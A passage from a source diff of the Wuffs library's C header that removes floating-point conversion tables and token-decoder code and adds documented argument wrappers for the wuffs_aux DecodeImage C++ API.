wuffs_base__token_decoder__vtable_name) { -- const wuffs_base__token_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->workbuf_len)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ uint64_t repr; -+}; - -- return wuffs_base__utility__empty_range_ii_u64(); --} -+// DecodeImageArgPixelBlend wraps an optional argument to DecodeImage. -+struct DecodeImageArgPixelBlend { -+ explicit DecodeImageArgPixelBlend(wuffs_base__pixel_blend repr0); - --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) -+ // DefaultValue returns WUFFS_BASE__PIXEL_BLEND__SRC. -+ static DecodeImageArgPixelBlend DefaultValue(); - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) -+ wuffs_base__pixel_blend repr; -+}; - --// ---------------- IEEE 754 Floating Point -+// DecodeImageArgBackgroundColor wraps an optional argument to DecodeImage. -+struct DecodeImageArgBackgroundColor { -+ explicit DecodeImageArgBackgroundColor( -+ wuffs_base__color_u32_argb_premul repr0); - --// The etc__hpd_left_shift and etc__powers_of_5 tables were printed by --// script/print-hpd-left-shift.go. That script has an optional -comments flag, --// whose output is not copied here, which prints further detail. --// --// These tables are used in --// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits. -+ // DefaultValue returns 1, an invalid wuffs_base__color_u32_argb_premul. -+ static DecodeImageArgBackgroundColor DefaultValue(); -+ -+ wuffs_base__color_u32_argb_premul repr; -+}; -+ -+// DecodeImageArgMaxInclDimension wraps an optional argument to DecodeImage. -+struct DecodeImageArgMaxInclDimension { -+ explicit DecodeImageArgMaxInclDimension(uint32_t repr0); -+ -+ // DefaultValue returns 1048575 = 0x000F_FFFF, more than 1 million pixels. -+ static DecodeImageArgMaxInclDimension DefaultValue(); -+ -+ uint32_t repr; -+}; -+ -+// DecodeImageArgMaxInclMetadataLength wraps an optional argument to -+// DecodeImage. -+struct DecodeImageArgMaxInclMetadataLength { -+ explicit DecodeImageArgMaxInclMetadataLength(uint64_t repr0); -+ -+ // DefaultValue returns 16777215 = 0x00FF_FFFF, one less than 16 MiB. -+ static DecodeImageArgMaxInclMetadataLength DefaultValue(); -+ -+ uint64_t repr; -+}; - --// wuffs_base__private_implementation__hpd_left_shift[i] encodes the number of --// new digits created after multiplying a positive integer by (1 << i): the --// additional length in the decimal representation. For example, shifting "234" --// by 3 (equivalent to multiplying by 8) will produce "1872". Going from a --// 3-length string to a 4-length string means that 1 new digit was added (and --// existing digits may have changed). -+// DecodeImage decodes the image data in input. A variety of image file formats -+// can be decoded, depending on what callbacks.SelectDecoder returns. - // --// Shifting by i can add either N or N-1 new digits, depending on whether the --// original positive integer compares >= or < to the i'th power of 5 (as 10 --// equals 2 * 5). Comparison is lexicographic, not numerical. -+// For animated formats, only the first frame is returned, since the API is -+// simpler for synchronous I/O and having DecodeImage only return when -+// completely done, but rendering animation often involves handling other -+// events in between animation frames. To decode multiple frames of animated -+// images, or for asynchronous I/O (e.g. when decoding an image streamed over -+// the network), use Wuffs' lower level C API instead of its higher level, -+// simplified C++ API (the wuffs_aux API). - // --// For example, shifting by 4 (i.e. multiplying by 16) can add 1 or 2 new --// digits, depending on a lexicographic comparison to (5 ** 4), i.e. "625": --// - ("1" << 4) is "16", which adds 1 new digit. --// - ("5678" << 4) is "90848", which adds 1 new digit. --// - ("624" << 4) is "9984", which adds 1 new digit. --// - ("62498" << 4) is "999968", which adds 1 new digit. --// - ("625" << 4) is "10000", which adds 2 new digits. --// - ("625001" << 4) is "10000016", which adds 2 new digits. --// - ("7008" << 4) is "112128", which adds 2 new digits. --// - ("99" << 4) is "1584", which adds 2 new digits. -+// The DecodeImageResult's fields depend on whether decoding succeeded: -+// - On total success, the error_message is empty and pixbuf.pixcfg.is_valid() -+// is true. -+// - On partial success (e.g. the input file was truncated but we are still -+// able to decode some of the pixels), error_message is non-empty but -+// pixbuf.pixcfg.is_valid() is still true. It is up to the caller whether to -+// accept or reject partial success. -+// - On failure, the error_message is non_empty and pixbuf.pixcfg.is_valid() -+// is false. - // --// Thus, when i is 4, N is 2 and (5 ** i) is "625". This etc__hpd_left_shift --// array encodes this as: --// - etc__hpd_left_shift[4] is 0x1006 = (2 << 11) | 0x0006. --// - etc__hpd_left_shift[5] is 0x1009 = (? << 11) | 0x0009. --// where the ? isn't relevant for i == 4. -+// The callbacks allocate the pixel buffer memory and work buffer memory. On -+// success, pixel buffer memory ownership is passed to the DecodeImage caller -+// as the returned pixbuf_mem_owner. Regardless of success or failure, the work -+// buffer memory is deleted. - // --// The high 5 bits of etc__hpd_left_shift[i] is N, the higher of the two --// possible number of new digits. The low 11 bits are an offset into the --// etc__powers_of_5 array (of length 0x051C, so offsets fit in 11 bits). When i --// is 4, its offset and the next one is 6 and 9, and etc__powers_of_5[6 .. 9] --// is the string "\x06\x02\x05", so the relevant power of 5 is "625". -+// The pixel_blend (one of the constants listed below) determines how to -+// composite the decoded image over the pixel buffer's original pixels (as -+// returned by callbacks.AllocPixbuf): -+// - WUFFS_BASE__PIXEL_BLEND__SRC -+// - WUFFS_BASE__PIXEL_BLEND__SRC_OVER - // --// Thanks to Ken Thompson for the original idea. --static const uint16_t wuffs_base__private_implementation__hpd_left_shift[65] = { -- 0x0000, 0x0800, 0x0801, 0x0803, 0x1006, 0x1009, 0x100D, 0x1812, 0x1817, -- 0x181D, 0x2024, 0x202B, 0x2033, 0x203C, 0x2846, 0x2850, 0x285B, 0x3067, -- 0x3073, 0x3080, 0x388E, 0x389C, 0x38AB, 0x38BB, 0x40CC, 0x40DD, 0x40EF, -- 0x4902, 0x4915, 0x4929, 0x513E, 0x5153, 0x5169, 0x5180, 0x5998, 0x59B0, -- 0x59C9, 0x61E3, 0x61FD, 0x6218, 0x6A34, 0x6A50, 0x6A6D, 0x6A8B, 0x72AA, -- 0x72C9, 0x72E9, 0x7B0A, 0x7B2B, 0x7B4D, 0x8370, 0x8393, 0x83B7, 0x83DC, -- 0x8C02, 0x8C28, 0x8C4F, 0x9477, 0x949F, 0x94C8, 0x9CF2, 0x051C, 0x051C, -- 0x051C, 0x051C, --}; -- --// wuffs_base__private_implementation__powers_of_5 contains the powers of 5, --// concatenated together: "5", "25", "125", "625", "3125", etc. --static const uint8_t wuffs_base__private_implementation__powers_of_5[0x051C] = { -- 5, 2, 5, 1, 2, 5, 6, 2, 5, 3, 1, 2, 5, 1, 5, 6, 2, 5, 7, 8, 1, 2, 5, 3, 9, -- 0, 6, 2, 5, 1, 9, 5, 3, 1, 2, 5, 9, 7, 6, 5, 6, 2, 5, 4, 8, 8, 2, 8, 1, 2, -- 5, 2, 4, 4, 1, 4, 0, 6, 2, 5, 1, 2, 2, 0, 7, 0, 3, 1, 2, 5, 6, 1, 0, 3, 5, -- 1, 5, 6, 2, 5, 3, 0, 5, 1, 7, 5, 7, 8, 1, 2, 5, 1, 5, 2, 5, 8, 7, 8, 9, 0, -- 6, 2, 5, 7, 6, 2, 9, 3, 9, 4, 5, 3, 1, 2, 5, 3, 8, 1, 4, 6, 9, 7, 2, 6, 5, -- 6, 2, 5, 1, 9, 0, 7, 3, 4, 8, 6, 3, 2, 8, 1, 2, 5, 9, 5, 3, 6, 7, 4, 3, 1, -- 6, 4, 0, 6, 2, 5, 4, 7, 6, 8, 3, 7, 1, 5, 8, 2, 0, 3, 1, 2, 5, 2, 3, 8, 4, -- 1, 8, 5, 7, 9, 1, 0, 1, 5, 6, 2, 5, 1, 1, 9, 2, 0, 9, 2, 8, 9, 5, 5, 0, 7, -- 8, 1, 2, 5, 5, 9, 6, 0, 4, 6, 4, 4, 7, 7, 5, 3, 9, 0, 6, 2, 5, 2, 9, 8, 0, -- 2, 3, 2, 2, 3, 8, 7, 6, 9, 5, 3, 1, 2, 5, 1, 4, 9, 0, 1, 1, 6, 1, 1, 9, 3, -- 8, 4, 7, 6, 5, 6, 2, 5, 7, 4, 5, 0, 5, 8, 0, 5, 9, 6, 9, 2, 3, 8, 2, 8, 1, -- 2, 5, 3, 7, 2, 5, 2, 9, 0, 2, 9, 8, 4, 6, 1, 9, 1, 4, 0, 6, 2, 5, 1, 8, 6, -- 2, 6, 4, 5, 1, 4, 9, 2, 3, 0, 9, 5, 7, 0, 3, 1, 2, 5, 9, 3, 1, 3, 2, 2, 5, -- 7, 4, 6, 1, 5, 4, 7, 8, 5, 1, 5, 6, 2, 5, 4, 6, 5, 6, 6, 1, 2, 8, 7, 3, 0, -- 7, 7, 3, 9, 2, 5, 7, 8, 1, 2, 5, 2, 3, 2, 8, 3, 0, 6, 4, 3, 6, 5, 3, 8, 6, -- 9, 6, 2, 8, 9, 0, 6, 2, 5, 1, 1, 6, 4, 1, 5, 3, 2, 1, 8, 2, 6, 9, 3, 4, 8, -- 1, 4, 4, 5, 3, 1, 2, 5, 5, 8, 2, 0, 7, 6, 6, 0, 9, 1, 3, 4, 6, 7, 4, 0, 7, -- 2, 2, 6, 5, 6, 2, 5, 2, 9, 1, 0, 3, 8, 3, 0, 4, 5, 6, 7, 3, 3, 7, 0, 3, 6, -- 1, 3, 2, 8, 1, 2, 5, 1, 4, 5, 5, 1, 9, 1, 5, 2, 2, 8, 3, 6, 6, 8, 5, 1, 8, -- 0, 6, 6, 4, 0, 6, 2, 5, 7, 2, 7, 5, 9, 5, 7, 6, 1, 4, 1, 8, 3, 4, 2, 5, 9, -- 0, 3, 3, 2, 0, 3, 1, 2, 5, 3, 6, 3, 7, 9, 7, 8, 8, 0, 7, 0, 9, 1, 7, 1, 2, -- 9, 5, 1, 6, 6, 0, 1, 5, 6, 2, 5, 1, 8, 1, 8, 9, 8, 9, 4, 0, 3, 5, 4, 5, 8, -- 5, 6, 4, 7, 5, 8, 3, 0, 0, 7, 8, 1, 2, 5, 9, 0, 9, 4, 9, 4, 7, 0, 1, 7, 7, -- 2, 9, 2, 8, 2, 3, 7, 9, 1, 5, 0, 3, 9, 0, 6, 2, 5, 4, 5, 4, 7, 4, 7, 3, 5, -- 0, 8, 8, 6, 4, 6, 4, 1, 1, 8, 9, 5, 7, 5, 1, 9, 5, 3, 1, 2, 5, 2, 2, 7, 3, -- 7, 3, 6, 7, 5, 4, 4, 3, 2, 3, 2, 0, 5, 9, 4, 7, 8, 7, 5, 9, 7, 6, 5, 6, 2, -- 5, 1, 1, 3, 6, 8, 6, 8, 3, 7, 7, 2, 1, 6, 1, 6, 0, 2, 9, 7, 3, 9, 3, 7, 9, -- 8, 8, 2, 8, 1, 2, 5, 5, 6, 8, 4, 3, 4, 1, 8, 8, 6, 0, 8, 0, 8, 0, 1, 4, 8, -- 6, 9, 6, 8, 9, 9, 4, 1, 4, 0, 6, 2, 5, 2, 8, 4, 2, 1, 7, 0, 9, 4, 3, 0, 4, -- 0, 4, 0, 0, 7, 4, 3, 4, 8, 4, 4, 9, 7, 0, 7, 0, 3, 1, 2, 5, 1, 4, 2, 1, 0, -- 8, 5, 4, 7, 1, 5, 2, 0, 2, 0, 0, 3, 7, 1, 7, 4, 2, 2, 4, 8, 5, 3, 5, 1, 5, -- 6, 2, 5, 7, 1, 0, 5, 4, 2, 7, 3, 5, 7, 6, 0, 1, 0, 0, 1, 8, 5, 8, 7, 1, 1, -- 2, 4, 2, 6, 7, 5, 7, 8, 1, 2, 5, 3, 5, 5, 2, 7, 1, 3, 6, 7, 8, 8, 0, 0, 5, -- 0, 0, 9, 2, 9, 3, 5, 5, 6, 2, 1, 3, 3, 7, 8, 9, 0, 6, 2, 5, 1, 7, 7, 6, 3, -- 5, 6, 8, 3, 9, 4, 0, 0, 2, 5, 0, 4, 6, 4, 6, 7, 7, 8, 1, 0, 6, 6, 8, 9, 4, -- 5, 3, 1, 2, 5, 8, 8, 8, 1, 7, 8, 4, 1, 9, 7, 0, 0, 1, 2, 5, 2, 3, 2, 3, 3, -- 8, 9, 0, 5, 3, 3, 4, 4, 7, 2, 6, 5, 6, 2, 5, 4, 4, 4, 0, 8, 9, 2, 0, 9, 8, -- 5, 0, 0, 6, 2, 6, 1, 6, 1, 6, 9, 4, 5, 2, 6, 6, 7, 2, 3, 6, 3, 2, 8, 1, 2, -- 5, 2, 2, 2, 0, 4, 4, 6, 0, 4, 9, 2, 5, 0, 3, 1, 3, 0, 8, 0, 8, 4, 7, 2, 6, -- 3, 3, 3, 6, 1, 8, 1, 6, 4, 0, 6, 2, 5, 1, 1, 1, 0, 2, 2, 3, 0, 2, 4, 6, 2, -- 5, 1, 5, 6, 5, 4, 0, 4, 2, 3, 6, 3, 1, 6, 6, 8, 0, 9, 0, 8, 2, 0, 3, 1, 2, -- 5, 5, 5, 5, 1, 1, 1, 5, 1, 2, 3, 1, 2, 5, 7, 8, 2, 7, 0, 2, 1, 1, 8, 1, 5, -- 8, 3, 4, 0, 4, 5, 4, 1, 0, 1, 5, 6, 2, 5, 2, 7, 7, 5, 5, 5, 7, 5, 6, 1, 5, -- 6, 2, 8, 9, 1, 3, 5, 1, 0, 5, 9, 0, 7, 9, 1, 7, 0, 2, 2, 7, 0, 5, 0, 7, 8, -- 1, 2, 5, 1, 3, 8, 7, 7, 7, 8, 7, 8, 0, 7, 8, 1, 4, 4, 5, 6, 7, 5, 5, 2, 9, -- 5, 3, 9, 5, 8, 5, 1, 1, 3, 5, 2, 5, 3, 9, 0, 6, 2, 5, 6, 9, 3, 8, 8, 9, 3, -- 9, 0, 3, 9, 0, 7, 2, 2, 8, 3, 7, 7, 6, 4, 7, 6, 9, 7, 9, 2, 5, 5, 6, 7, 6, -- 2, 6, 9, 5, 3, 1, 2, 5, 3, 4, 6, 9, 4, 4, 6, 9, 5, 1, 9, 5, 3, 6, 1, 4, 1, -- 8, 8, 8, 2, 3, 8, 4, 8, 9, 6, 2, 7, 8, 3, 8, 1, 3, 4, 7, 6, 5, 6, 2, 5, 1, -- 7, 3, 4, 7, 2, 3, 4, 7, 5, 9, 7, 6, 8, 0, 7, 0, 9, 4, 4, 1, 1, 9, 2, 4, 4, -- 8, 1, 3, 9, 1, 9, 0, 6, 7, 3, 8, 2, 8, 1, 2, 5, 8, 6, 7, 3, 6, 1, 7, 3, 7, -- 9, 8, 8, 4, 0, 3, 5, 4, 7, 2, 0, 5, 9, 6, 2, 2, 4, 0, 6, 9, 5, 9, 5, 3, 3, -- 6, 9, 1, 4, 0, 6, 2, 5, --}; -+// The background_color is used to fill the pixel buffer after -+// callbacks.AllocPixbuf returns, if it is valid in the -+// wuffs_base__color_u32_argb_premul__is_valid sense. The default value, -+// 0x0000_0001, is not valid since its Blue channel value (0x01) is greater -+// than its Alpha channel value (0x00). A valid background_color will typically -+// be overwritten when pixel_blend is WUFFS_BASE__PIXEL_BLEND__SRC, but might -+// still be visible on partial (not total) success or when pixel_blend is -+// WUFFS_BASE__PIXEL_BLEND__SRC_OVER and the decoded image is not fully opaque. -+// -+// Decoding fails (with DecodeImage_MaxInclDimensionExceeded) if the image's -+// width or height is greater than max_incl_dimension or if any opted-in (via -+// flags bits) metadata is longer than max_incl_metadata_length. -+DecodeImageResult // -+DecodeImage(DecodeImageCallbacks& callbacks, -+ sync_io::Input& input, -+ DecodeImageArgQuirks quirks = DecodeImageArgQuirks::DefaultValue(), -+ DecodeImageArgFlags flags = DecodeImageArgFlags::DefaultValue(), -+ DecodeImageArgPixelBlend pixel_blend = -+ DecodeImageArgPixelBlend::DefaultValue(), -+ DecodeImageArgBackgroundColor background_color = -+ DecodeImageArgBackgroundColor::DefaultValue(), -+ DecodeImageArgMaxInclDimension max_incl_dimension = -+ DecodeImageArgMaxInclDimension::DefaultValue(), -+ DecodeImageArgMaxInclMetadataLength max_incl_metadata_length = -+ DecodeImageArgMaxInclMetadataLength::DefaultValue()); - --// -------- -+} // namespace wuffs_aux - --// wuffs_base__private_implementation__powers_of_10 contains truncated --// approximations to the powers of 10, ranging from 1e-307 to 1e+288 inclusive, --// as 596 pairs of uint64_t values (a 128-bit mantissa). --// --// There's also an implicit third column (implied by a linear formula involving --// the base-10 exponent) that is the base-2 exponent, biased by a magic --// constant. That constant (1214 or 0x04BE) equals 1023 + 191. 1023 is the bias --// for IEEE 754 double-precision floating point. 191 is ((3 * 64) - 1) and --// wuffs_base__private_implementation__parse_number_f64_eisel_lemire works with --// multiples-of-64-bit mantissas. --// --// For example, the third row holds the approximation to 1e-305: --// 0xE0B62E29_29ABA83C_331ACDAB_FE94DE87 * (2 ** (0x0049 - 0x04BE)) --// --// Similarly, 1e+4 is approximated by: --// 0x9C400000_00000000_00000000_00000000 * (2 ** (0x044C - 0x04BE)) --// --// Similarly, 1e+68 is approximated by: --// 0xED63A231_D4C4FB27_4CA7AAA8_63EE4BDD * (2 ** (0x0520 - 0x04BE)) --// --// This table was generated by by script/print-mpb-powers-of-10.go --static const uint64_t wuffs_base__private_implementation__powers_of_10[596][2] = -- { -- {0xA5D3B6D479F8E056, 0x8FD0C16206306BAB}, // 1e-307 -- {0x8F48A4899877186C, 0xB3C4F1BA87BC8696}, // 1e-306 -- {0x331ACDABFE94DE87, 0xE0B62E2929ABA83C}, // 1e-305 -- {0x9FF0C08B7F1D0B14, 0x8C71DCD9BA0B4925}, // 1e-304 -- {0x07ECF0AE5EE44DD9, 0xAF8E5410288E1B6F}, // 1e-303 -- {0xC9E82CD9F69D6150, 0xDB71E91432B1A24A}, // 1e-302 -- {0xBE311C083A225CD2, 0x892731AC9FAF056E}, // 1e-301 -- {0x6DBD630A48AAF406, 0xAB70FE17C79AC6CA}, // 1e-300 -- {0x092CBBCCDAD5B108, 0xD64D3D9DB981787D}, // 1e-299 -- {0x25BBF56008C58EA5, 0x85F0468293F0EB4E}, // 1e-298 -- {0xAF2AF2B80AF6F24E, 0xA76C582338ED2621}, // 1e-297 -- {0x1AF5AF660DB4AEE1, 0xD1476E2C07286FAA}, // 1e-296 -- {0x50D98D9FC890ED4D, 0x82CCA4DB847945CA}, // 1e-295 -- {0xE50FF107BAB528A0, 0xA37FCE126597973C}, // 1e-294 -- {0x1E53ED49A96272C8, 0xCC5FC196FEFD7D0C}, // 1e-293 -- {0x25E8E89C13BB0F7A, 0xFF77B1FCBEBCDC4F}, // 1e-292 -- {0x77B191618C54E9AC, 0x9FAACF3DF73609B1}, // 1e-291 -- {0xD59DF5B9EF6A2417, 0xC795830D75038C1D}, // 1e-290 -- {0x4B0573286B44AD1D, 0xF97AE3D0D2446F25}, // 1e-289 -- {0x4EE367F9430AEC32, 0x9BECCE62836AC577}, // 1e-288 -- {0x229C41F793CDA73F, 0xC2E801FB244576D5}, // 1e-287 -- {0x6B43527578C1110F, 0xF3A20279ED56D48A}, // 1e-286 -- {0x830A13896B78AAA9, 0x9845418C345644D6}, // 1e-285 -- {0x23CC986BC656D553, 0xBE5691EF416BD60C}, // 1e-284 -- {0x2CBFBE86B7EC8AA8, 0xEDEC366B11C6CB8F}, // 1e-283 -- {0x7BF7D71432F3D6A9, 0x94B3A202EB1C3F39}, // 1e-282 -- {0xDAF5CCD93FB0CC53, 0xB9E08A83A5E34F07}, // 1e-281 -- {0xD1B3400F8F9CFF68, 0xE858AD248F5C22C9}, // 1e-280 -- {0x23100809B9C21FA1, 0x91376C36D99995BE}, // 1e-279 -- {0xABD40A0C2832A78A, 0xB58547448FFFFB2D}, // 1e-278 -- {0x16C90C8F323F516C, 0xE2E69915B3FFF9F9}, // 1e-277 -- {0xAE3DA7D97F6792E3, 0x8DD01FAD907FFC3B}, // 1e-276 -- {0x99CD11CFDF41779C, 0xB1442798F49FFB4A}, // 1e-275 -- {0x40405643D711D583, 0xDD95317F31C7FA1D}, // 1e-274 -- {0x482835EA666B2572, 0x8A7D3EEF7F1CFC52}, // 1e-273 -- {0xDA3243650005EECF, 0xAD1C8EAB5EE43B66}, // 1e-272 -- {0x90BED43E40076A82, 0xD863B256369D4A40}, // 1e-271 -- {0x5A7744A6E804A291, 0x873E4F75E2224E68}, // 1e-270 -- {0x711515D0A205CB36, 0xA90DE3535AAAE202}, // 1e-269 -- {0x0D5A5B44CA873E03, 0xD3515C2831559A83}, // 1e-268 -- {0xE858790AFE9486C2, 0x8412D9991ED58091}, // 1e-267 -- {0x626E974DBE39A872, 0xA5178FFF668AE0B6}, // 1e-266 -- {0xFB0A3D212DC8128F, 0xCE5D73FF402D98E3}, // 1e-265 -- {0x7CE66634BC9D0B99, 0x80FA687F881C7F8E}, // 1e-264 -- {0x1C1FFFC1EBC44E80, 0xA139029F6A239F72}, // 1e-263 -- {0xA327FFB266B56220, 0xC987434744AC874E}, // 1e-262 -- {0x4BF1FF9F0062BAA8, 0xFBE9141915D7A922}, // 1e-261 -- {0x6F773FC3603DB4A9, 0x9D71AC8FADA6C9B5}, // 1e-260 -- {0xCB550FB4384D21D3, 0xC4CE17B399107C22}, // 1e-259 -- {0x7E2A53A146606A48, 0xF6019DA07F549B2B}, // 1e-258 -- {0x2EDA7444CBFC426D, 0x99C102844F94E0FB}, // 1e-257 -- {0xFA911155FEFB5308, 0xC0314325637A1939}, // 1e-256 -- {0x793555AB7EBA27CA, 0xF03D93EEBC589F88}, // 1e-255 -- {0x4BC1558B2F3458DE, 0x96267C7535B763B5}, // 1e-254 -- {0x9EB1AAEDFB016F16, 0xBBB01B9283253CA2}, // 1e-253 -- {0x465E15A979C1CADC, 0xEA9C227723EE8BCB}, // 1e-252 -- {0x0BFACD89EC191EC9, 0x92A1958A7675175F}, // 1e-251 -- {0xCEF980EC671F667B, 0xB749FAED14125D36}, // 1e-250 -- {0x82B7E12780E7401A, 0xE51C79A85916F484}, // 1e-249 -- {0xD1B2ECB8B0908810, 0x8F31CC0937AE58D2}, // 1e-248 -- {0x861FA7E6DCB4AA15, 0xB2FE3F0B8599EF07}, // 1e-247 -- {0x67A791E093E1D49A, 0xDFBDCECE67006AC9}, // 1e-246 -- {0xE0C8BB2C5C6D24E0, 0x8BD6A141006042BD}, // 1e-245 -- {0x58FAE9F773886E18, 0xAECC49914078536D}, // 1e-244 -- {0xAF39A475506A899E, 0xDA7F5BF590966848}, // 1e-243 -- {0x6D8406C952429603, 0x888F99797A5E012D}, // 1e-242 -- {0xC8E5087BA6D33B83, 0xAAB37FD7D8F58178}, // 1e-241 -- {0xFB1E4A9A90880A64, 0xD5605FCDCF32E1D6}, // 1e-240 -- {0x5CF2EEA09A55067F, 0x855C3BE0A17FCD26}, // 1e-239 -- {0xF42FAA48C0EA481E, 0xA6B34AD8C9DFC06F}, // 1e-238 -- {0xF13B94DAF124DA26, 0xD0601D8EFC57B08B}, // 1e-237 -- {0x76C53D08D6B70858, 0x823C12795DB6CE57}, // 1e-236 -- {0x54768C4B0C64CA6E, 0xA2CB1717B52481ED}, // 1e-235 -- {0xA9942F5DCF7DFD09, 0xCB7DDCDDA26DA268}, // 1e-234 -- {0xD3F93B35435D7C4C, 0xFE5D54150B090B02}, // 1e-233 -- {0xC47BC5014A1A6DAF, 0x9EFA548D26E5A6E1}, // 1e-232 -- {0x359AB6419CA1091B, 0xC6B8E9B0709F109A}, // 1e-231 -- {0xC30163D203C94B62, 0xF867241C8CC6D4C0}, // 1e-230 -- {0x79E0DE63425DCF1D, 0x9B407691D7FC44F8}, // 1e-229 -- {0x985915FC12F542E4, 0xC21094364DFB5636}, // 1e-228 -- {0x3E6F5B7B17B2939D, 0xF294B943E17A2BC4}, // 1e-227 -- {0xA705992CEECF9C42, 0x979CF3CA6CEC5B5A}, // 1e-226 -- {0x50C6FF782A838353, 0xBD8430BD08277231}, // 1e-225 -- {0xA4F8BF5635246428, 0xECE53CEC4A314EBD}, // 1e-224 -- {0x871B7795E136BE99, 0x940F4613AE5ED136}, // 1e-223 -- {0x28E2557B59846E3F, 0xB913179899F68584}, // 1e-222 -- {0x331AEADA2FE589CF, 0xE757DD7EC07426E5}, // 1e-221 -- {0x3FF0D2C85DEF7621, 0x9096EA6F3848984F}, // 1e-220 -- {0x0FED077A756B53A9, 0xB4BCA50B065ABE63}, // 1e-219 -- {0xD3E8495912C62894, 0xE1EBCE4DC7F16DFB}, // 1e-218 -- {0x64712DD7ABBBD95C, 0x8D3360F09CF6E4BD}, // 1e-217 -- {0xBD8D794D96AACFB3, 0xB080392CC4349DEC}, // 1e-216 -- {0xECF0D7A0FC5583A0, 0xDCA04777F541C567}, // 1e-215 -- {0xF41686C49DB57244, 0x89E42CAAF9491B60}, // 1e-214 -- {0x311C2875C522CED5, 0xAC5D37D5B79B6239}, // 1e-213 -- {0x7D633293366B828B, 0xD77485CB25823AC7}, // 1e-212 -- {0xAE5DFF9C02033197, 0x86A8D39EF77164BC}, // 1e-211 -- {0xD9F57F830283FDFC, 0xA8530886B54DBDEB}, // 1e-210 -- {0xD072DF63C324FD7B, 0xD267CAA862A12D66}, // 1e-209 -- {0x4247CB9E59F71E6D, 0x8380DEA93DA4BC60}, // 1e-208 -- {0x52D9BE85F074E608, 0xA46116538D0DEB78}, // 1e-207 -- {0x67902E276C921F8B, 0xCD795BE870516656}, // 1e-206 -- {0x00BA1CD8A3DB53B6, 0x806BD9714632DFF6}, // 1e-205 -- {0x80E8A40ECCD228A4, 0xA086CFCD97BF97F3}, // 1e-204 -- {0x6122CD128006B2CD, 0xC8A883C0FDAF7DF0}, // 1e-203 -- {0x796B805720085F81, 0xFAD2A4B13D1B5D6C}, // 1e-202 -- {0xCBE3303674053BB0, 0x9CC3A6EEC6311A63}, // 1e-201 -- {0xBEDBFC4411068A9C, 0xC3F490AA77BD60FC}, // 1e-200 -- {0xEE92FB5515482D44, 0xF4F1B4D515ACB93B}, // 1e-199 -- {0x751BDD152D4D1C4A, 0x991711052D8BF3C5}, // 1e-198 -- {0xD262D45A78A0635D, 0xBF5CD54678EEF0B6}, // 1e-197 -- {0x86FB897116C87C34, 0xEF340A98172AACE4}, // 1e-196 -- {0xD45D35E6AE3D4DA0, 0x9580869F0E7AAC0E}, // 1e-195 -- {0x8974836059CCA109, 0xBAE0A846D2195712}, // 1e-194 -- {0x2BD1A438703FC94B, 0xE998D258869FACD7}, // 1e-193 -- {0x7B6306A34627DDCF, 0x91FF83775423CC06}, // 1e-192 -- {0x1A3BC84C17B1D542, 0xB67F6455292CBF08}, // 1e-191 -- {0x20CABA5F1D9E4A93, 0xE41F3D6A7377EECA}, // 1e-190 -- {0x547EB47B7282EE9C, 0x8E938662882AF53E}, // 1e-189 -- {0xE99E619A4F23AA43, 0xB23867FB2A35B28D}, // 1e-188 -- {0x6405FA00E2EC94D4, 0xDEC681F9F4C31F31}, // 1e-187 -- {0xDE83BC408DD3DD04, 0x8B3C113C38F9F37E}, // 1e-186 -- {0x9624AB50B148D445, 0xAE0B158B4738705E}, // 1e-185 -- {0x3BADD624DD9B0957, 0xD98DDAEE19068C76}, // 1e-184 -- {0xE54CA5D70A80E5D6, 0x87F8A8D4CFA417C9}, // 1e-183 -- {0x5E9FCF4CCD211F4C, 0xA9F6D30A038D1DBC}, // 1e-182 -- {0x7647C3200069671F, 0xD47487CC8470652B}, // 1e-181 -- {0x29ECD9F40041E073, 0x84C8D4DFD2C63F3B}, // 1e-180 -- {0xF468107100525890, 0xA5FB0A17C777CF09}, // 1e-179 -- {0x7182148D4066EEB4, 0xCF79CC9DB955C2CC}, // 1e-178 -- {0xC6F14CD848405530, 0x81AC1FE293D599BF}, // 1e-177 -- {0xB8ADA00E5A506A7C, 0xA21727DB38CB002F}, // 1e-176 -- {0xA6D90811F0E4851C, 0xCA9CF1D206FDC03B}, // 1e-175 -- {0x908F4A166D1DA663, 0xFD442E4688BD304A}, // 1e-174 -- {0x9A598E4E043287FE, 0x9E4A9CEC15763E2E}, // 1e-173 -- {0x40EFF1E1853F29FD, 0xC5DD44271AD3CDBA}, // 1e-172 -- {0xD12BEE59E68EF47C, 0xF7549530E188C128}, // 1e-171 -- {0x82BB74F8301958CE, 0x9A94DD3E8CF578B9}, // 1e-170 -- {0xE36A52363C1FAF01, 0xC13A148E3032D6E7}, // 1e-169 -- {0xDC44E6C3CB279AC1, 0xF18899B1BC3F8CA1}, // 1e-168 -- {0x29AB103A5EF8C0B9, 0x96F5600F15A7B7E5}, // 1e-167 -- {0x7415D448F6B6F0E7, 0xBCB2B812DB11A5DE}, // 1e-166 -- {0x111B495B3464AD21, 0xEBDF661791D60F56}, // 1e-165 -- {0xCAB10DD900BEEC34, 0x936B9FCEBB25C995}, // 1e-164 -- {0x3D5D514F40EEA742, 0xB84687C269EF3BFB}, // 1e-163 -- {0x0CB4A5A3112A5112, 0xE65829B3046B0AFA}, // 1e-162 -- {0x47F0E785EABA72AB, 0x8FF71A0FE2C2E6DC}, // 1e-161 -- {0x59ED216765690F56, 0xB3F4E093DB73A093}, // 1e-160 -- {0x306869C13EC3532C, 0xE0F218B8D25088B8}, // 1e-159 -- {0x1E414218C73A13FB, 0x8C974F7383725573}, // 1e-158 -- {0xE5D1929EF90898FA, 0xAFBD2350644EEACF}, // 1e-157 -- {0xDF45F746B74ABF39, 0xDBAC6C247D62A583}, // 1e-156 -- {0x6B8BBA8C328EB783, 0x894BC396CE5DA772}, // 1e-155 -- {0x066EA92F3F326564, 0xAB9EB47C81F5114F}, // 1e-154 -- {0xC80A537B0EFEFEBD, 0xD686619BA27255A2}, // 1e-153 -- {0xBD06742CE95F5F36, 0x8613FD0145877585}, // 1e-152 -- {0x2C48113823B73704, 0xA798FC4196E952E7}, // 1e-151 -- {0xF75A15862CA504C5, 0xD17F3B51FCA3A7A0}, // 1e-150 -- {0x9A984D73DBE722FB, 0x82EF85133DE648C4}, // 1e-149 -- {0xC13E60D0D2E0EBBA, 